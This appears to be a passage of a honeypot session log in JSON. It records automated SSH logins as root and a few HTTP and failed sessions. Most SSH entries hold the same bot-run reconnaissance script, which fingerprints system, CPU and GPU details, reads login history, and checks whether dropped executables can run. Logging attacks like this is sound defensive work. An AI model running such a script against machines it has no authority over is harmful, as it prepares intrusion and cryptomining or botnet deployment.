  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T09:15:10.847365+00:00",
  "ended_at": "2026-08-27T09:15:10.956173+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "04d5fcb3-a289-4336-9806-a57740eef6d0",
  "name": "ancient-thorny-bobcat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 45972,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T09:13:16.431773+00:00",
  "ended_at": "2026-08-27T09:13:16.660202+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "2cbb1d07-a3f9-4ec3-b5d8-50ed5b23807f",
  "name": "vivid-dewy-hamster",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 42868,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T09:11:25.573292+00:00",
  "ended_at": "2026-08-27T09:11:25.765468+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "703c96ad-55eb-4e40-9533-2706792ffdc7",
  "name": "distant-plucky-vole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 39736,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T09:09:36.172137+00:00",
  "ended_at": "2026-08-27T09:09:36.494497+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "d0f222ff-2126-4b63-96c5-88d164d873e2",
  "name": "sandy-hidden-boar",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "118.31.112.143",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T09:08:00.260889+00:00",
  "ended_at": "2026-08-27T09:23:10.666947+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8f8c89e5-1efd-4e00-852f-5bfc8a9cb4d2",
  "name": "fierce-arctic-woodcock",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 36596,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T09:07:53.046684+00:00",
  "ended_at": "2026-08-27T09:07:53.160026+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "d957abaa-340a-4b35-a4f8-15b50cf7a7e5",
  "name": "sandy-wistful-llama",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 62134,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T09:06:26.153232+00:00",
  "ended_at": "2026-08-27T09:07:08.749485+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "feae9b9c-fcd0-40d9-a6bf-4942e772cff4",
  "name": "genial-dappled-gharial",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 33468,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T09:06:12.813719+00:00",
  "ended_at": "2026-08-27T09:06:13.354579+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "268eb5b0-c472-4965-9b72-007f5842147f",
  "name": "pewter-lucid-galago",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "113.191.145.50",
  "src_port": 60248,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T09:04:31.526881+00:00",
  "ended_at": "2026-08-27T09:04:33.567063+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7160e2d2-746b-4bc3-9b8b-e4053e52071b",
  "name": "orderly-nameless-ermine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 58536,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
